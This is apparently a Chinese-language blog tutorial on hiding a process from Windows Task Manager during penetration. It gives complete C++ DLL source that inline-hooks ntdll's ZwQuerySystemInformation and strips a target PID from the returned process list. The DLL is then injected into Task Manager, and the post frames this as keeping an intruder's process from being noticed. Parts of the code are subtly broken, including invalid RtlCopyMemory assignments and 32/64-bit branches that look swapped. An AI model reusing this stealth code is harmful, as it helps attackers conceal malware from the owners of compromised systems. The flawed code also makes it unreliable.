基礎知識
程序(Process)是計算機中的程式關於某資料集合上的一次執行活動,是系統進行資源分配和排程的基本單位,是作業系統結構的基礎。在早期面向程序設計的計算機結構中,程序是程式的基本執行實體;在當代面向執行緒設計的計算機結構中,程序是執行緒的容器。程式是指令、資料及其組織形式的描述,程序是程式的實體。
我們在計算機上的每個程式執行起來之後都可以被稱作程序,程序可以在任務管理器裡面看見,如下所示
那麼我們在進行滲透的過程中,如果我們運行了一些本沒有執行的程序,我們想要達到不被對方發現的效果,其中一個方法就是實現程序隱藏,讓對方在任務管理器裡面看不到這個程序,當然這裡只針對的是不被小白髮現,專業的人員不在這個討論範圍內。
那麼實現程序隱藏可以透過HOOK api的方式實現,我們知道一般我們要獲取程序快照都是使用
CreateToolHelp32Snapshot
這個api,而這個api在核心層最終會呼叫
ZwQuerySystemInformation
這個api來獲取系統程序資訊,那麼我們就可以直接去hook核心的這個api,因為最終還是呼叫核心的這個api,從而實現程序隱藏
實現過程
那麼這裡需要一些基礎知識,hook api的實現最終還是要歸結到Inline HOOK,透過修改api的前幾個位元組的資料,寫入一個E9(jump)到我們自己的函式中執行
簡單介紹一下Inline hook,API函式都儲存在作業系統提供的DLL檔案中,當在程式中使用某個API函式時,在執行程式後,程式會隱式地將API所在的DLL載入入程序中。這樣,程式就會像呼叫自己的函式一樣呼叫API。
在程序中當EXE模組呼叫CreateFile()函式的時候,會去呼叫kernel32。dll模組中的CreateFile()函式,因為真正的CreateFile()函式的實現在kernel32。dll模組中。
CreateFile()是API函式,API函式也是由人編寫的程式碼再編譯而成的,也有其對應的二進位制程式碼。既然是程式碼,那麼就可以被修改。透過一種“野蠻”的方法來直接修改API函式在記憶體中的映像,從而對API函式進行HOOK。使用的方法是,直接使用匯編指令的jmp指令將其程式碼執行流程改變,進而執行我們的程式碼,這樣就使原來的函式的流程改變了。執行完我們的流程以後,可以選擇性地執行原來的函式,也可以不繼續執行原來的函式。
假設要對某程序的kernel32。dll的CreateFile()函式進行HOOK,首先需要在指定程序中的記憶體中找到CreateFile()函式的地址,然後修改CreateFile()函式的首地址的程式碼為jmp MyProc的指令。這樣,當指定的程序呼叫CreateFile()函式時,就會首先跳轉到我們的函式當中去執行流程,這樣就完成了我們的HOOK了。
那麼既然有了IAThook,我們為什麼還要用Inlinehook呢,直接用IAThook不是更方便嗎?看硬編碼多麻煩。
我們思考一個問題,如果函式不是以
LoadLibrary
方式載入,那麼肯定在匯入表裡就不會出現,那麼IAThook就不能使用了,這就是Inlinehook誕生的條件。
硬編碼
何為硬編碼?
這裡我就不生搬概念性的東西來解釋了,說說我自己的理解。硬編碼可以說就是用十六進位制的字元組成的,他是給cpu讀的語言,我們知道在計算機裡面只有0和1,如果你要讓他去讀c語言的那些字元他是讀不懂的,他只會讀0和1,這就是硬編碼。
硬編碼的結構如下,有定長指令、變長指令等等一系列指令,還跟各種暫存器相關聯起來,確實如果我們去讀硬編碼的話太痛苦了
這裡就不過多延伸了,我們在Inline hook裡面只會用到一個硬編碼就是E9,對應的彙編程式碼就是jmp
這裡我就直接透過Inline hook來實現程序隱藏,首先我們要明確思路,首先我們要獲取到
ZwQuerySystemInformation
這個函式的地址,首先看一下這個函式的結構
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
那麼我們首先獲取
ntdll。dll
的基址,這裡可以使用
GetModuleHandle
,也可以使用
LoadLibraryA
HMODULE hDll = ::GetModuleHandle(L“ntdll。dll”);
然後使用
GetProcAddress
獲取
ZwQuerySystemInformation
的函式地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, “ZwQuerySystemInformation”);
獲取到函式地址之後我們就需要進行hook操作,這裡注意一下,在32位中跳轉的語句應該為
jmp New_ZwQuerySystemInformation
,對應的硬編碼就是
E9 xx xx xx xx
,那麼在32位的情況下我們要執行跳轉就需要修改5個位元組的硬編碼,而在64位中跳轉的語句應該為
mov rax, 0x1234567812345678
、
jmp rax
,對應的硬編碼就是
48 b8 7856341278563412
、
ff e0
,需要修改12個位元組
在32位的情況下,修改5個位元組
BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };
計算偏移地址,計算公式為新地址 - 舊地址 - 5
DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
因為我們要覆蓋前5個位元組那麼我們首先把前5個位元組放到其他地方儲存
::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
64位的情況下同理,只是修改位元組為12個位元組
BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 }; ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation; ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr)); ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
然後修改許可權為可讀可寫可執行許可權,否則會報錯0xC0000005
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
修改硬編碼,再還原屬性
::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
到這裡我們的hook函式就已經完成得差不多了,再寫一個unhook函式,思路大體相同,程式碼如下
void UnHookAPI(){ //獲取ntdll。dll基址 HMODULE hDll = ::GetModuleHandle(L“ntdll。dll”); if (hDll == NULL) { printf(“[!] GetModuleHandle false,error is: %d”, GetLastError()); return; } else { printf(“[*] GetModuleHandle successfully!\n\n”); } // 獲取 ZwQuerySystemInformation 函式地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, “ZwQuerySystemInformation”); if (NULL == ZwQuerySystemInformation) { printf(“[!] ZwQuerySystemInformation false,error is: %d”, GetLastError()); return; } else { printf(“[*] ZwQuerySystemInformation successfully!\n\n”); } // 修改為可讀可寫可執行許可權 DWORD dwOldProtect = 0; ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 32位下還原5位元組,64位下還原12位元組#ifdef _WIN64 ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));#else ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));#endif // 還原許可權 ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
當我們執行完hook函式之後,需要跳轉到我們自己的函式,在我們自己的函數里面,在我們自己的函數里面需要判斷是否檢索系統的程序資訊,如果程序資訊存在我們就需要將程序資訊剔除
那麼我們首先將鉤子解除安裝掉,防止多次同時訪問hook函式而造成資料混亂
UnHookAPI();
然後載入
ntdll。dll
HMODULE hDll = ::LoadLibraryA(“ntdll。dll”);
再獲取
ZwQuerySystemInformation
的基址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, “ZwQuerySystemInformation”);
這裡看一下
ZwQuerySystemInformation
這個函式結構
NTSTATUS WINAPI ZwQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength);
主要要關注的有兩個引數,第一個引數是
SystemInformationClass
,他是用來表示要檢索的系統資訊的型別,再就是返回值,當函式執行成功則返回
NTSTATUS
,否則返回錯誤程式碼,那麼我們首先要判斷訊息型別是否是程序資訊
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);if (NT_SUCCESS(status) && 5 == SystemInformationClass)
這裡我們定義一個指標指向返回結果資訊的緩衝區
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
判斷如果是我們想要隱藏程序的PID則刪除程序資訊
if (HideProcessID == (DWORD)pCur->UniqueProcessId)
刪除完成之後我們再還原hook
HookAPI();
我們要實現的功能不只是在自己的程序空間內隱藏指定程序,那麼我們就可以把程式碼寫成dll檔案方便注入,完整程式碼如下
// dllmain。cpp : 定義 DLL 應用程式的入口點。#include “pch。h”#include #include HMODULE g_hModule;BYTE g_Oldwin32[5] = { 0 };BYTE g_Oldwin64[12] = { 0 };#pragma data_seg(“mydata”)HHOOK g_hHook = NULL;#pragma data_seg()#pragma comment(linker, “/SECTION:mydata,RWS”)NTSTATUS New_ZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);void HookAPI();void UnHookAPI();void HookAPI(){ //獲取ntdll。dll基址 HMODULE hDll = ::GetModuleHandle(L“ntdll。dll”); if (hDll == NULL) { printf(“[!] GetModuleHandle false,error is: %d\n\n”, GetLastError()); return; } else { printf(“[*] GetModuleHandle successfully!\n\n”); }#ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );#else typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );#endif // 獲取 ZwQuerySystemInformation 函式地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, “ZwQuerySystemInformation”); if (NULL == ZwQuerySystemInformation) { printf(“[!] ZwQuerySystemInformation false,error is: %d”, GetLastError()); return; } else { printf(“[*] ZwQuerySystemInformation successfully!\n\n”); } // 32位則修改前5位元組,64位則修改前12位元組#ifdef _WIN64 // jmp New_ZwQuerySystemInformation // E9 xx xx xx xx BYTE pData[5] = { 0xe9, 0, 0, 0, 0 }; // 計算偏移地址 , 偏移地址 = 新地址 - 舊地址 - 5 DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5; ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr)); ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));#else // mov rax, 0x1234567812345678 // jmp rax // 48 b8 7856341278563412 // ff e0 BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 }; ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation; ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr)); ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));#endif DWORD dwOldProtect = 0; //修改為可讀可寫可執行許可權 ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect); ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData)); //還原許可權 ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);}void UnHookAPI(){ //獲取ntdll。dll基址 HMODULE hDll = ::GetModuleHandle(L“ntdll。dll”); if (hDll == NULL) { printf(“[!] GetModuleHandle false,error is: %d”, GetLastError()); return; } else { printf(“[*] GetModuleHandle successfully!\n\n”); }#ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );#else typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );#endif // 獲取 ZwQuerySystemInformation 函式地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, “ZwQuerySystemInformation”); if (NULL == ZwQuerySystemInformation) { printf(“[!] ZwQuerySystemInformation false,error is: %d”, GetLastError()); return; } else { printf(“[*] ZwQuerySystemInformation successfully!\n\n”); } // 修改為可讀可寫可執行許可權 DWORD dwOldProtect = 0; ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 32位下還原5位元組,64位下還原12位元組#ifdef _WIN64 ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));#else ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));#endif // 還原許可權 ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);}NTSTATUS New_ZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength){ NTSTATUS status = 0; PSYSTEM_PROCESS_INFORMATION pCur = NULL; PSYSTEM_PROCESS_INFORMATION pPrev = NULL; // 隱藏程序的PID DWORD HideProcessID = 13972; // 解除安裝鉤子 UnHookAPI(); HMODULE hDll = ::LoadLibraryA(“ntdll。dll”); if (hDll == NULL) { printf(“[!] LoadLibraryA failed,error is : %d\n\n”, GetLastError()); return status; } else { printf(“[*] LoadLibraryA successfully!\n\n”); }#ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );#else typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );#endif // 獲取 ZwQuerySystemInformation 函式地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, “ZwQuerySystemInformation”); if (NULL == ZwQuerySystemInformation) { printf(“[!] ZwQuerySystemInformation false,error is: %d”, GetLastError()); return status; } else { printf(“[*] ZwQuerySystemInformation successfully!\n\n”); } // 呼叫原函式 ZwQuerySystemInformation status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength); if (NT_SUCCESS(status) && 5 == SystemInformationClass) { pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; while (TRUE) { // 若為隱藏的程序PID則刪除程序資訊 if (HideProcessID == (DWORD)pCur->UniqueProcessId) { if (pCur->NextEntryOffset == 0) { pPrev->NextEntryOffset = 0; } else { pPrev->NextEntryOffset = pCur->NextEntryOffset + pPrev->NextEntryOffset; } } else { pPrev = pCur; } if (pCur->NextEntryOffset == 0) { break; } pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset); } } HookAPI(); return status;}BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: HookAPI(); g_hModule = hModule; break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: UnHookAPI(); break; } return TRUE;}
實現效果
這裡可以透過全域性鉤子注入或者遠端執行緒注入把dll注入到其他程序裡面,那麼如果我們想要在任務管理器裡面看不到某個程序,那麼就需要將dll注入到任務管理器裡面
我這裡選擇隱藏的是QQ音樂,這裡執行下程式將dll注入
再看下效果,在任務管理器裡面已經看不到QQ音樂這個程序了,程序隱藏成功